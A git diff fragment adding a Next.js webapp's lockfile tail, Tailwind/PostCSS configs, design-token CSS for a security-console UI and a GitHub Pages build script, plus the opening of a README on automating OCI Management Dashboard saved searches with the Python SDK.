'@next/swc-win32-x64-msvc': 15.5.18 + '@playwright/test': 1.60.0 + sharp: 0.34.5 + transitivePeerDependencies: + - '@babel/core' + - babel-plugin-macros + + node-exports-info@1.6.0: + dependencies: + array.prototype.flatmap: 1.3.3 + es-errors: 1.3.0 + object.entries: 1.1.9 + semver: 6.3.1 + + node-releases@2.0.19: {} + + normalize-path@3.0.0: {} + + normalize-range@0.1.2: {} + + object-assign@4.1.1: {} + + object-hash@3.0.0: {} + + object-inspect@1.13.4: {} + + object-keys@1.1.1: {} + + object.assign@4.1.7: + dependencies: + call-bind: 1.0.9 + call-bound: 1.0.4 + define-properties: 1.2.1 + es-object-atoms: 1.1.1 + has-symbols: 1.1.0 + object-keys: 1.1.1 + + object.entries@1.1.9: + dependencies: + call-bind: 1.0.9 + call-bound: 1.0.4 + define-properties: 1.2.1 + es-object-atoms: 1.1.1 + + object.fromentries@2.0.8: + dependencies: + call-bind: 1.0.9 + define-properties: 1.2.1 + es-abstract: 1.24.2 + es-object-atoms: 1.1.1 + + object.groupby@1.0.3: + dependencies: + call-bind: 1.0.9 + define-properties: 1.2.1 + es-abstract: 1.24.2 + + object.values@1.2.1: + dependencies: + call-bind: 1.0.9 + call-bound: 1.0.4 + define-properties: 1.2.1 + es-object-atoms: 1.1.1 + + optionator@0.9.4: + dependencies: + deep-is: 0.1.4 + fast-levenshtein: 2.0.6 + levn: 0.4.1 + prelude-ls: 1.2.1 + type-check: 0.4.0 + word-wrap: 1.2.5 + + own-keys@1.0.1: + dependencies: + get-intrinsic: 1.3.0 + object-keys: 1.1.1 + safe-push-apply: 1.0.0 + + p-limit@3.1.0: + dependencies: + yocto-queue: 0.1.0 + + p-locate@5.0.0: + dependencies: + p-limit: 3.1.0 + + parent-module@1.0.1: + dependencies: + callsites: 3.1.0 + + path-exists@4.0.0: {} + + path-key@3.1.1: {} + + path-parse@1.0.7: {} + + picocolors@1.1.1: {} + + picomatch@2.3.2: {} + + picomatch@4.0.4: {} + + pify@2.3.0: {} + + pirates@4.0.7: {} + + playwright-core@1.60.0: {} + + playwright@1.60.0: + dependencies: + playwright-core: 1.60.0 + optionalDependencies: + fsevents: 2.3.2 + + possible-typed-array-names@1.1.0: {} + + postcss-import@15.1.0(postcss@8.5.14): + dependencies: + postcss: 8.5.14 + postcss-value-parser: 4.2.0 + read-cache: 1.0.0 + resolve: 1.22.12 + + postcss-js@4.1.0(postcss@8.5.14): + dependencies: + camelcase-css: 2.0.1 + postcss: 8.5.14 + + postcss-load-config@6.0.1(jiti@1.21.7)(postcss@8.5.14): + dependencies: + lilconfig: 3.1.3 + optionalDependencies: + jiti: 1.21.7 + postcss: 8.5.14 + + postcss-nested@6.2.0(postcss@8.5.14): + dependencies: + postcss: 8.5.14 + postcss-selector-parser: 6.1.2 + + postcss-selector-parser@6.1.2: + dependencies: + cssesc: 3.0.0 + util-deprecate: 1.0.2 + + postcss-value-parser@4.2.0: {} + + postcss@8.5.14: + dependencies: + nanoid: 3.3.12 + picocolors: 1.1.1 + source-map-js: 1.2.1 + + prelude-ls@1.2.1: {} + + prop-types@15.8.1: + dependencies: + loose-envify: 1.4.0 + object-assign: 4.1.1 + react-is: 16.13.1 + + punycode@2.3.1: {} + + queue-microtask@1.2.3: {} + + react-dom@19.0.0(react@19.0.0): + dependencies: + react: 19.0.0 + scheduler: 0.25.0 + + react-is@16.13.1: {} + + react-remove-scroll-bar@2.3.8(@types/react@19.0.0)(react@19.0.0): + dependencies: + react: 19.0.0 + react-style-singleton: 2.2.3(@types/react@19.0.0)(react@19.0.0) + tslib: 2.8.1 + optionalDependencies: + '@types/react': 19.0.0 + + react-remove-scroll@2.7.1(@types/react@19.0.0)(react@19.0.0): + dependencies: + react: 19.0.0 + react-remove-scroll-bar: 2.3.8(@types/react@19.0.0)(react@19.0.0) + react-style-singleton: 2.2.3(@types/react@19.0.0)(react@19.0.0) + tslib: 2.8.1 + use-callback-ref: 1.3.3(@types/react@19.0.0)(react@19.0.0) + use-sidecar: 1.1.3(@types/react@19.0.0)(react@19.0.0) + optionalDependencies: + '@types/react': 19.0.0 + + react-style-singleton@2.2.3(@types/react@19.0.0)(react@19.0.0): + dependencies: + get-nonce: 1.0.1 + react: 19.0.0 + tslib: 2.8.1 + optionalDependencies: + '@types/react': 19.0.0 + + react@19.0.0: {} + + read-cache@1.0.0: + dependencies: + pify: 2.3.0 + + readdirp@3.6.0: + dependencies: + picomatch: 2.3.2 + + reflect.getprototypeof@1.0.10: + dependencies: + call-bind: 1.0.9 + define-properties: 1.2.1 + es-abstract: 1.24.2 + es-errors: 1.3.0 + es-object-atoms: 1.1.1 + get-intrinsic: 1.3.0 + get-proto: 1.0.1 + which-builtin-type: 1.2.1 + + regexp.prototype.flags@1.5.4: + dependencies: + call-bind: 1.0.9 + define-properties: 1.2.1 + es-errors: 1.3.0 + get-proto: 1.0.1 + gopd: 1.2.0 + set-function-name: 2.0.2 + + resolve-from@4.0.0: {} + + resolve-pkg-maps@1.0.0: {} + + resolve@1.22.12: + dependencies: + es-errors: 1.3.0 + is-core-module: 2.16.2 + path-parse: 1.0.7 + supports-preserve-symlinks-flag: 1.0.0 + + resolve@2.0.0-next.7: + dependencies: + es-errors: 1.3.0 + is-core-module: 2.16.2 + node-exports-info: 1.6.0 + object-keys: 1.1.1 + path-parse: 1.0.7 + supports-preserve-symlinks-flag: 1.0.0 + + reusify@1.1.0: {} + + run-parallel@1.2.0: + dependencies: + queue-microtask: 1.2.3 + + safe-array-concat@1.1.4: + dependencies: + call-bind: 1.0.9 + call-bound: 1.0.4 + get-intrinsic: 1.3.0 + has-symbols: 1.1.0 + isarray: 2.0.5 + + safe-push-apply@1.0.0: + dependencies: + es-errors: 1.3.0 + isarray: 2.0.5 + + safe-regex-test@1.1.0: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + is-regex: 1.2.1 + + scheduler@0.25.0: {} + + semver@6.3.1: {} + + semver@7.8.0: {} + + set-function-length@1.2.2: + dependencies: + define-data-property: 1.1.4 + es-errors: 1.3.0 + function-bind: 1.1.2 + get-intrinsic: 1.3.0 + gopd: 1.2.0 + has-property-descriptors: 1.0.2 + + set-function-name@2.0.2: + dependencies: + define-data-property: 1.1.4 + es-errors: 1.3.0 + functions-have-names: 1.2.3 + has-property-descriptors: 1.0.2 + + set-proto@1.0.0: + dependencies: + dunder-proto: 1.0.1 + es-errors: 1.3.0 + es-object-atoms: 1.1.1 + + sharp@0.34.5: + dependencies: + '@img/colour': 1.1.0 + detect-libc: 2.1.2 + semver: 7.8.0 + optionalDependencies: + '@img/sharp-darwin-arm64': 0.34.5 + '@img/sharp-darwin-x64': 0.34.5 + '@img/sharp-libvips-darwin-arm64': 1.2.4 + '@img/sharp-libvips-darwin-x64': 1.2.4 + '@img/sharp-libvips-linux-arm': 1.2.4 + '@img/sharp-libvips-linux-arm64': 1.2.4 + '@img/sharp-libvips-linux-ppc64': 1.2.4 + '@img/sharp-libvips-linux-riscv64': 1.2.4 + '@img/sharp-libvips-linux-s390x': 1.2.4 + '@img/sharp-libvips-linux-x64': 1.2.4 + '@img/sharp-libvips-linuxmusl-arm64': 1.2.4 + '@img/sharp-libvips-linuxmusl-x64': 1.2.4 + '@img/sharp-linux-arm': 0.34.5 + '@img/sharp-linux-arm64': 0.34.5 + '@img/sharp-linux-ppc64': 0.34.5 + '@img/sharp-linux-riscv64': 0.34.5 + '@img/sharp-linux-s390x': 0.34.5 + '@img/sharp-linux-x64': 0.34.5 + '@img/sharp-linuxmusl-arm64': 0.34.5 + '@img/sharp-linuxmusl-x64': 0.34.5 + '@img/sharp-wasm32': 0.34.5 + '@img/sharp-win32-arm64': 0.34.5 + '@img/sharp-win32-ia32': 0.34.5 + '@img/sharp-win32-x64': 0.34.5 + optional: true + + shebang-command@2.0.0: + dependencies: + shebang-regex: 3.0.0 + + shebang-regex@3.0.0: {} + + side-channel-list@1.0.1: + dependencies: + es-errors: 1.3.0 + object-inspect: 1.13.4 + + side-channel-map@1.0.1: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + get-intrinsic: 1.3.0 + object-inspect: 1.13.4 + + side-channel-weakmap@1.0.2: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + get-intrinsic: 1.3.0 + object-inspect: 1.13.4 + side-channel-map: 1.0.1 + + side-channel@1.1.0: + dependencies: + es-errors: 1.3.0 + object-inspect: 1.13.4 + side-channel-list: 1.0.1 + side-channel-map: 1.0.1 + side-channel-weakmap: 1.0.2 + + source-map-js@1.2.1: {} + + stable-hash@0.0.5: {} + + stop-iteration-iterator@1.1.0: + dependencies: + es-errors: 1.3.0 + internal-slot: 1.1.0 + + string.prototype.includes@2.0.1: + dependencies: + call-bind: 1.0.9 + define-properties: 1.2.1 + es-abstract: 1.24.2 + + string.prototype.matchall@4.0.12: + dependencies: + call-bind: 1.0.9 + call-bound: 1.0.4 + define-properties: 1.2.1 + es-abstract: 1.24.2 + es-errors: 1.3.0 + es-object-atoms: 1.1.1 + get-intrinsic: 1.3.0 + gopd: 1.2.0 + has-symbols: 1.1.0 + internal-slot: 1.1.0 + regexp.prototype.flags: 1.5.4 + set-function-name: 2.0.2 + side-channel: 1.1.0 + + string.prototype.repeat@1.0.0: + dependencies: + define-properties: 1.2.1 + es-abstract: 1.24.2 + + string.prototype.trim@1.2.10: + dependencies: + call-bind: 1.0.9 + call-bound: 1.0.4 + define-data-property: 1.1.4 + define-properties: 1.2.1 + es-abstract: 1.24.2 + es-object-atoms: 1.1.1 + has-property-descriptors: 1.0.2 + + string.prototype.trimend@1.0.9: + dependencies: + call-bind: 1.0.9 + call-bound: 1.0.4 + define-properties: 1.2.1 + es-object-atoms: 1.1.1 + + string.prototype.trimstart@1.0.8: + dependencies: + call-bind: 1.0.9 + define-properties: 1.2.1 + es-object-atoms: 1.1.1 + + strip-bom@3.0.0: {} + + strip-json-comments@3.1.1: {} + + styled-jsx@5.1.6(react@19.0.0): + dependencies: + client-only: 0.0.1 + react: 19.0.0 + + sucrase@3.35.1: + dependencies: + '@jridgewell/gen-mapping': 0.3.13 + commander: 4.1.1 + lines-and-columns: 1.2.4 + mz: 2.7.0 + pirates: 4.0.7 + tinyglobby: 0.2.16 + ts-interface-checker: 0.1.13 + + supports-color@7.2.0: + dependencies: + has-flag: 4.0.0 + + supports-preserve-symlinks-flag@1.0.0: {} + + tailwind-merge@2.5.5: {} + + tailwindcss-animate@1.0.7(tailwindcss@3.4.19): + dependencies: + tailwindcss: 3.4.19 + + tailwindcss@3.4.19: + dependencies: + '@alloc/quick-lru': 5.2.0 + arg: 5.0.2 + chokidar: 3.6.0 + didyoumean: 1.2.2 + dlv: 1.1.3 + fast-glob: 3.3.3 + glob-parent: 6.0.2 + is-glob: 4.0.3 + jiti: 1.21.7 + lilconfig: 3.1.3 + micromatch: 4.0.8 + normalize-path: 3.0.0 + object-hash: 3.0.0 + picocolors: 1.1.1 + postcss: 8.5.14 + postcss-import: 15.1.0(postcss@8.5.14) + postcss-js: 4.1.0(postcss@8.5.14) + postcss-load-config: 6.0.1(jiti@1.21.7)(postcss@8.5.14) + postcss-nested: 6.2.0(postcss@8.5.14) + postcss-selector-parser: 6.1.2 + resolve: 1.22.12 + sucrase: 3.35.1 + transitivePeerDependencies: + - tsx + - yaml + + thenify-all@1.6.0: + dependencies: + thenify: 3.3.1 + + thenify@3.3.1: + dependencies: + any-promise: 1.3.0 + + tinyglobby@0.2.16: + dependencies: + fdir: 6.5.0(picomatch@4.0.4) + picomatch: 4.0.4 + + to-regex-range@5.0.1: + dependencies: + is-number: 7.0.0 + + ts-api-utils@2.5.0(typescript@5.0.2): + dependencies: + typescript: 5.0.2 + + ts-interface-checker@0.1.13: {} + + tsconfig-paths@3.15.0: + dependencies: + '@types/json5': 0.0.29 + json5: 1.0.2 + minimist: 1.2.8 + strip-bom: 3.0.0 + + tslib@2.8.1: {} + + type-check@0.4.0: + dependencies: + prelude-ls: 1.2.1 + + typed-array-buffer@1.0.3: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + is-typed-array: 1.1.15 + + typed-array-byte-length@1.0.3: + dependencies: + call-bind: 1.0.9 + for-each: 0.3.5 + gopd: 1.2.0 + has-proto: 1.2.0 + is-typed-array: 1.1.15 + + typed-array-byte-offset@1.0.4: + dependencies: + available-typed-arrays: 1.0.7 + call-bind: 1.0.9 + for-each: 0.3.5 + gopd: 1.2.0 + has-proto: 1.2.0 + is-typed-array: 1.1.15 + reflect.getprototypeof: 1.0.10 + + typed-array-length@1.0.7: + dependencies: + call-bind: 1.0.9 + for-each: 0.3.5 + gopd: 1.2.0 + is-typed-array: 1.1.15 + possible-typed-array-names: 1.1.0 + reflect.getprototypeof: 1.0.10 + + typescript@5.0.2: {} + + unbox-primitive@1.1.0: + dependencies: + call-bound: 1.0.4 + has-bigints: 1.1.0 + has-symbols: 1.1.0 + which-boxed-primitive: 1.1.1 + + undici-types@6.11.1: {} + + unrs-resolver@1.11.1: + dependencies: + napi-postinstall: 0.3.4 + optionalDependencies: + '@unrs/resolver-binding-android-arm-eabi': 1.11.1 + '@unrs/resolver-binding-android-arm64': 1.11.1 + '@unrs/resolver-binding-darwin-arm64': 1.11.1 + '@unrs/resolver-binding-darwin-x64': 1.11.1 + '@unrs/resolver-binding-freebsd-x64': 1.11.1 + '@unrs/resolver-binding-linux-arm-gnueabihf': 1.11.1 + '@unrs/resolver-binding-linux-arm-musleabihf': 1.11.1 + '@unrs/resolver-binding-linux-arm64-gnu': 1.11.1 + '@unrs/resolver-binding-linux-arm64-musl': 1.11.1 + '@unrs/resolver-binding-linux-ppc64-gnu': 1.11.1 + '@unrs/resolver-binding-linux-riscv64-gnu': 1.11.1 + '@unrs/resolver-binding-linux-riscv64-musl': 1.11.1 + '@unrs/resolver-binding-linux-s390x-gnu': 1.11.1 + '@unrs/resolver-binding-linux-x64-gnu': 1.11.1 + '@unrs/resolver-binding-linux-x64-musl': 1.11.1 + '@unrs/resolver-binding-wasm32-wasi': 1.11.1 + '@unrs/resolver-binding-win32-arm64-msvc': 1.11.1 + '@unrs/resolver-binding-win32-ia32-msvc': 1.11.1 + '@unrs/resolver-binding-win32-x64-msvc': 1.11.1 + + update-browserslist-db@1.1.3(browserslist@4.25.1): + dependencies: + browserslist: 4.25.1 + escalade: 3.2.0 + picocolors: 1.1.1 + + uri-js@4.4.1: + dependencies: + punycode: 2.3.1 + + use-callback-ref@1.3.3(@types/react@19.0.0)(react@19.0.0): + dependencies: + react: 19.0.0 + tslib: 2.8.1 + optionalDependencies: + '@types/react': 19.0.0 + + use-sidecar@1.1.3(@types/react@19.0.0)(react@19.0.0): + dependencies: + detect-node-es: 1.1.0 + react: 19.0.0 + tslib: 2.8.1 + optionalDependencies: + '@types/react': 19.0.0 + + util-deprecate@1.0.2: {} + + which-boxed-primitive@1.1.1: + dependencies: + is-bigint: 1.1.0 + is-boolean-object: 1.2.2 + is-number-object: 1.1.1 + is-string: 1.1.1 + is-symbol: 1.1.1 + + which-builtin-type@1.2.1: + dependencies: + call-bound: 1.0.4 + function.prototype.name: 1.1.8 + has-tostringtag: 1.0.2 + is-async-function: 2.1.1 + is-date-object: 1.1.0 + is-finalizationregistry: 1.1.1 + is-generator-function: 1.1.2 + is-regex: 1.2.1 + is-weakref: 1.1.1 + isarray: 2.0.5 + which-boxed-primitive: 1.1.1 + which-collection: 1.0.2 + which-typed-array: 1.1.20 + + which-collection@1.0.2: + dependencies: + is-map: 2.0.3 + is-set: 2.0.3 + is-weakmap: 2.0.2 + is-weakset: 2.0.4 + + which-typed-array@1.1.20: + dependencies: + available-typed-arrays: 1.0.7 + call-bind: 1.0.9 + call-bound: 1.0.4 + for-each: 0.3.5 + get-proto: 1.0.1 + gopd: 1.2.0 + has-tostringtag: 1.0.2 + + which@2.0.2: + dependencies: + isexe: 2.0.0 + + word-wrap@1.2.5: {} + + yocto-queue@0.1.0: {} + + zod@3.24.1: {} diff --git a/observability-and-management/assets/oci-log-analytics-detections/webapp/postcss.config.mjs b/observability-and-management/assets/oci-log-analytics-detections/webapp/postcss.config.mjs new file mode 100644 index 000000000..1a69fd2a4 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/webapp/postcss.config.mjs @@ -0,0 +1,8 @@ +/** @type {import('postcss-load-config').Config} */ +const config = { + plugins: { + tailwindcss: {}, + }, +}; + +export default config; diff --git a/observability-and-management/assets/oci-log-analytics-detections/webapp/public/octo-icon.png b/observability-and-management/assets/oci-log-analytics-detections/webapp/public/octo-icon.png new file mode 100644 index 000000000..847121a7a Binary files /dev/null and b/observability-and-management/assets/oci-log-analytics-detections/webapp/public/octo-icon.png differ diff --git a/observability-and-management/assets/oci-log-analytics-detections/webapp/public/octo-logo.png b/observability-and-management/assets/oci-log-analytics-detections/webapp/public/octo-logo.png new file mode 100644 index 000000000..b5ab2c51c Binary files /dev/null and b/observability-and-management/assets/oci-log-analytics-detections/webapp/public/octo-logo.png differ diff --git a/observability-and-management/assets/oci-log-analytics-detections/webapp/scripts/build-github-pages.mjs b/observability-and-management/assets/oci-log-analytics-detections/webapp/scripts/build-github-pages.mjs new file mode 100644 index 000000000..18f2b2a12 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/webapp/scripts/build-github-pages.mjs @@ -0,0 +1,49 @@ +import { rename } from "node:fs/promises" +import { spawn } from "node:child_process" +import { join } from "node:path" +import { fileURLToPath } from "node:url" +import { dirname } from "node:path" + +const appRoot = dirname(dirname(fileURLToPath(import.meta.url))) +const apiDir = join(appRoot, "app", "api") +const stagedApiDir = join(appRoot, ".next-pages-api-routes") + +function runNextBuild() { + return new Promise((resolve, reject) => { + const child = spawn("pnpm", ["exec", "next", "build"], { + cwd: appRoot, + env: { + ...process.env, + NEXT_PUBLIC_FORGE_STATIC_EXPORT: "1", + }, + stdio: "inherit", + }) + + child.on("error", reject) + child.on("close", (code) => { + if (code === 0) { + resolve() + } else { + reject(new Error(`next build exited with ${code}`)) + } + }) + }) +} + +async function main() { + let apiStaged = false + try { + await rename(apiDir, stagedApiDir) + apiStaged = true + await runNextBuild() + } finally { + if (apiStaged) { + await rename(stagedApiDir, apiDir) + } + } +} + +main().catch((error) => { + console.error(error instanceof Error ? error.message : error) + process.exit(1) +}) diff --git a/observability-and-management/assets/oci-log-analytics-detections/webapp/styles/tokens.css b/observability-and-management/assets/oci-log-analytics-detections/webapp/styles/tokens.css new file mode 100644 index 000000000..6e57a8ae1 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/webapp/styles/tokens.css @@ -0,0 +1,160 @@ +/* + * Forge Console — design tokens + * Direction: dark luxury security console. + * Obsidian / ink-blue base with a warm rust-amber brand accent and a + * disciplined severity ramp. Every value here is intentional; do not + * scatter raw hex/hsl across components — consume these tokens. + * + * Color channels are expressed as bare "H S% L%" triples so they can be + * composed with hsl(var(--token) / ) in Tailwind and raw CSS. + */ + +:root { + /* Deliberate type pairing: geometric sans display + precise grotesk text, + paired with a tabular mono for code and data. Offline-safe stacks so the + build never depends on a font CDN. */ + --font-display: var(--font-inter), "SF Pro Display", "Segoe UI", system-ui, -apple-system, sans-serif; + --font-sans: var(--font-inter), "SF Pro Text", "Segoe UI", system-ui, -apple-system, sans-serif; + --font-mono: var(--font-jetbrains-mono), "JetBrains Mono", "SFMono-Regular", "Cascadia Code", "Roboto Mono", ui-monospace, monospace; + + /* Editorial scale — fluid, with real hierarchy contrast (not uniform). */ + --text-eyebrow: 0.6875rem; + --text-meta: 0.75rem; + --text-body: 0.8125rem; + --text-lead: 0.9375rem; + --text-title: clamp(1.05rem, 0.9rem + 0.6vw, 1.4rem); + --text-display: clamp(1.6rem, 1.2rem + 1.4vw, 2.35rem); + + --tracking-eyebrow: 0.18em; + --tracking-display: -0.02em; + + /* Rhythm — intentional, non-uniform spacing steps. */ + --space-hair: 0.375rem; + --space-tight: 0.625rem; + --space-snug: 0.875rem; + --space-base: 1.125rem; + --space-roomy: 1.75rem; + + --radius: 0.875rem; + --radius-panel: 1.125rem; + + --duration-fast: 130ms; + --duration-normal: 240ms; + --ease-out-expo: cubic-bezier(0.16, 1, 0.3, 1); +} + +/* --------------------------------------------------------------------------- + * LIGHT — restrained "daylight ops" surface. Kept intentional (warm paper, + * not pure gray-on-white) so the toggle reads as a real second theme. + * ------------------------------------------------------------------------ */ +:root { + --background: 30 24% 97%; + --foreground: 222 38% 12%; + + --surface-sunken: 30 22% 94%; + --surface-raised: 0 0% 100%; + --surface-overlay: 0 0% 100%; + + --card: 0 0% 100%; + --card-foreground: 222 38% 12%; + --popover: 0 0% 100%; + --popover-foreground: 222 38% 12%; + + --primary: 12 72% 47%; /* rust-amber brand */ + --primary-foreground: 30 40% 98%; + --brand-glow: 18 88% 55%; + + --secondary: 30 16% 90%; + --secondary-foreground: 222 30% 18%; + --muted: 30 16% 92%; + --muted-foreground: 222 12% 42%; + --accent: 30 18% 90%; + --accent-foreground: 222 30% 18%; + + --destructive: 0 72% 48%; + --destructive-foreground: 30 40% 98%; + + --border: 28 16% 86%; + --border-strong: 28 14% 78%; + --input: 28 16% 86%; + --ring: 18 88% 52%; + + /* Severity ramp — semantic, shared by warnings + support badges. */ + --sev-critical: 356 74% 48%; + --sev-high: 22 90% 48%; + --sev-medium: 41 92% 44%; + --sev-info: 205 78% 44%; + --sev-ok: 162 70% 36%; + + --logan-success: 162 70% 36%; + --logan-warning: 22 90% 48%; + --logan-danger: 356 74% 48%; + + --grid-line: 28 16% 88%; + --code-bg: 30 22% 95%; + + --sidebar-background: 30 22% 95%; + --sidebar-foreground: 222 30% 18%; + --sidebar-border: 28 16% 86%; + --sidebar-accent: 30 18% 90%; + --sidebar-accent-foreground: 222 30% 18%; + --sidebar-ring: 18 88% 52%; +} + +/* --------------------------------------------------------------------------- + * DARK — the primary "security console" surface. Ink-blue obsidian with + * layered raised surfaces and inner highlights for real depth. + * ------------------------------------------------------------------------ */ +.dark { + --background: 224 44% 6%; /* obsidian ink */ + --foreground: 210 30% 92%; + + --surface-sunken: 225 42% 5%; + --surface-raised: 222 34% 11%; /* panel face */ + --surface-overlay: 221 32% 14%; /* dialog / popover */ + + --card: 222 34% 11%; + --card-foreground: 210 30% 92%; + --popover: 221 32% 14%; + --popover-foreground: 210 30% 92%; + + --primary: 16 84% 56%; /* warm rust-amber, high chroma on dark */ + --primary-foreground: 224 44% 7%; + --brand-glow: 24 92% 60%; + + --secondary: 222 28% 16%; + --secondary-foreground: 210 28% 90%; + --muted: 222 26% 15%; + --muted-foreground: 217 18% 64%; + --accent: 222 28% 18%; + --accent-foreground: 210 30% 94%; + + --destructive: 356 76% 58%; + --destructive-foreground: 210 40% 96%; + + --border: 220 28% 18%; + --border-strong: 218 30% 26%; + --input: 220 28% 18%; + --ring: 24 92% 58%; + + /* Severity ramp — calibrated for AA contrast on the obsidian base. */ + --sev-critical: 356 84% 64%; + --sev-high: 22 94% 58%; + --sev-medium: 42 96% 56%; + --sev-info: 202 90% 62%; + --sev-ok: 158 72% 50%; + + --logan-success: 158 72% 50%; + --logan-warning: 22 94% 58%; + --logan-danger: 356 84% 64%; + + --grid-line: 220 32% 16%; + --code-bg: 225 40% 7%; + + --sidebar-background: 225 42% 5%; + --sidebar-foreground: 210 28% 88%; + --sidebar-border: 220 28% 16%; + --sidebar-accent: 222 28% 16%; + --sidebar-accent-foreground: 210 30% 94%; + --sidebar-ring: 24 92% 58%; +} diff --git a/observability-and-management/assets/oci-log-analytics-detections/webapp/tailwind.config.ts b/observability-and-management/assets/oci-log-analytics-detections/webapp/tailwind.config.ts new file mode 100644 index 000000000..9b87de1e4 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/webapp/tailwind.config.ts @@ -0,0 +1,135 @@ +import type { Config } from "tailwindcss" +import animate from "tailwindcss-animate" + +const config = { + darkMode: ["class"], + content: [ + "./pages/**/*.{ts,tsx}", + "./components/**/*.{ts,tsx}", + "./app/**/*.{ts,tsx}", + "./src/**/*.{ts,tsx}", + "*.{js,ts,jsx,tsx,mdx}", + ], + prefix: "", + theme: { + container: { + center: true, + padding: "2rem", + screens: { + "2xl": "1400px", + }, + }, + extend: { + colors: { + border: "hsl(var(--border))", + input: "hsl(var(--input))", + ring: "hsl(var(--ring))", + background: "hsl(var(--background))", + foreground: "hsl(var(--foreground))", + primary: { + DEFAULT: "hsl(var(--primary))", + foreground: "hsl(var(--primary-foreground))", + }, + secondary: { + DEFAULT: "hsl(var(--secondary))", + foreground: "hsl(var(--secondary-foreground))", + }, + destructive: { + DEFAULT: "hsl(var(--destructive))", + foreground: "hsl(var(--destructive-foreground))", + }, + muted: { + DEFAULT: "hsl(var(--muted))", + foreground: "hsl(var(--muted-foreground))", + }, + accent: { + DEFAULT: "hsl(var(--accent))", + foreground: "hsl(var(--accent-foreground))", + }, + popover: { + DEFAULT: "hsl(var(--popover))", + foreground: "hsl(var(--popover-foreground))", + }, + card: { + DEFAULT: "hsl(var(--card))", + foreground: "hsl(var(--card-foreground))", + }, + // Logan Security Custom Colors + logan: { + success: "hsl(var(--logan-success))", + warning: "hsl(var(--logan-warning))", + danger: "hsl(var(--logan-danger))", + }, + // Layered console surfaces + surface: { + sunken: "hsl(var(--surface-sunken))", + raised: "hsl(var(--surface-raised))", + overlay: "hsl(var(--surface-overlay))", + }, + "border-strong": "hsl(var(--border-strong))", + "brand-glow": "hsl(var(--brand-glow))", + // Semantic severity ramp (shared by warnings + support levels) + severity: { + critical: "hsl(var(--sev-critical))", + high: "hsl(var(--sev-high))", + medium: "hsl(var(--sev-medium))", + info: "hsl(var(--sev-info))", + ok: "hsl(var(--sev-ok))", + }, + // Sidebar specific colors + sidebar: { + background: "hsl(var(--sidebar-background))", + foreground: "hsl(var(--sidebar-foreground))", + border: "hsl(var(--sidebar-border))", + accent: "hsl(var(--sidebar-accent))", + "accent-foreground": "hsl(var(--sidebar-accent-foreground))", + ring: "hsl(var(--sidebar-ring))", + }, + }, + borderRadius: { + panel: "var(--radius-panel)", + lg: "var(--radius)", + md: "calc(var(--radius) - 4px)", + sm: "calc(var(--radius) - 7px)", + }, + fontSize: { + eyebrow: ["var(--text-eyebrow)", { letterSpacing: "var(--tracking-eyebrow)", lineHeight: "1" }], + meta: ["var(--text-meta)", { lineHeight: "1.4" }], + display: ["var(--text-display)", { letterSpacing: "var(--tracking-display)", lineHeight: "1.04" }], + title: ["var(--text-title)", { letterSpacing: "-0.01em", lineHeight: "1.12" }], + }, + keyframes: { + "accordion-down": { + from: { height: "0" }, + to: { height: "var(--radix-accordion-content-height)" }, + }, + "accordion-up": { + from: { height: "var(--radix-accordion-content-height)" }, + to: { height: "0" }, + }, + "console-rise": { + from: { opacity: "0", transform: "translateY(6px)" }, + to: { opacity: "1", transform: "translateY(0)" }, + }, + "ping-soft": { + "0%": { opacity: "0.9", transform: "scale(0.9)" }, + "70%, 100%": { opacity: "0", transform: "scale(2)" }, + }, + }, + animation: { + "accordion-down": "accordion-down 0.2s ease-out", + "accordion-up": "accordion-up 0.2s ease-out", + "console-rise": "console-rise var(--duration-normal) var(--ease-out-expo) both", + "ping-soft": "ping-soft 2.4s var(--ease-out-expo) infinite", + }, + fontFamily: { + display: ["var(--font-display)"], + sans: ["var(--font-sans)"], + mono: ["var(--font-mono)"], + }, + }, + }, + plugins: [animate], +} satisfies Config + +export default config diff --git a/observability-and-management/assets/oci-log-analytics-detections/webapp/tsconfig.json b/observability-and-management/assets/oci-log-analytics-detections/webapp/tsconfig.json new file mode 100644 index 000000000..4b2dc7ba6 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/webapp/tsconfig.json @@ -0,0 +1,27 @@ +{ + "compilerOptions": { + "lib": ["dom", "dom.iterable", "esnext"], + "allowJs": true, + "target": "ES6", + "skipLibCheck": true, + "strict": true, + "noEmit": true, + "esModuleInterop": true, + "module": "esnext", + "moduleResolution": "bundler", + "resolveJsonModule": true, + "isolatedModules": true, + "jsx": "preserve", + "incremental": true, + "plugins": [ + { + "name": "next" + } + ], + "paths": { + "@/*": ["./*"] + } + }, + "include": ["next-env.d.ts", "**/*.ts", "**/*.tsx", ".next/types/**/*.ts"], + "exclude": ["node_modules"] +} diff --git a/observability-and-management/assets/oci-management-dashboard-automation/README.md b/observability-and-management/assets/oci-management-dashboard-automation/README.md new file mode 100644 index 000000000..c35ec23de --- /dev/null +++ b/observability-and-management/assets/oci-management-dashboard-automation/README.md @@ -0,0 +1,296 @@ +# OCI Management Dashboard Automation + +Dashboard is very important in Observability to visualize and monitor the performance of the system and application. + +[OCI Management Dashboard](https://docs.oracle.com/en-us/iaas/management-dashboard/doc/management-dashboard.html) is available so end user can create customised dashboards according to their needs. Out of the box dashboards provided as well for standard use-cases. + +The below image is an empty dashboard .There are widgets available out of the box created by oracle and user can create their own widget as well. Once the widget is created you can drag and drop into the dashboard. + +![Picture 10](./images/image-01.png) + +You can create a widget either by using Create widget or Create query-based widget + +![Picture 9](./images/image-02.png) + +I would suggest using Create query-based widget through which more customisation is possible. + +For example the below image show how you can create a widget for monitoring metric ClientErrorCount as part of oci_generativeai namespace. The Query can be edited as needed and visualization chart type can be chosen from the available options . + +![Picture 7](./images/image-03.png) + +This is the way saved search will be created via UI. + +But if we want to create multiple saved search for all the metrics in a namespace we need to repeat the steps multiple times. We will see how this can be automated using python SDK. You can run the code with the below command + +python3 ./.py +Example : python3 ./managementdashboard.py Computedashboard ocid1.compartment…. oci_computeagent resourceDisplayName + +```text +import oci +import argparse + +parser = argparse.ArgumentParser(description="Create empty dashboard and saved search for all metrics in the namespace provided so it can be added to Dashboard") +group = parser.add_mutually_exclusive_group() +group.add_argument("-v", "--verbose", action="store_true") 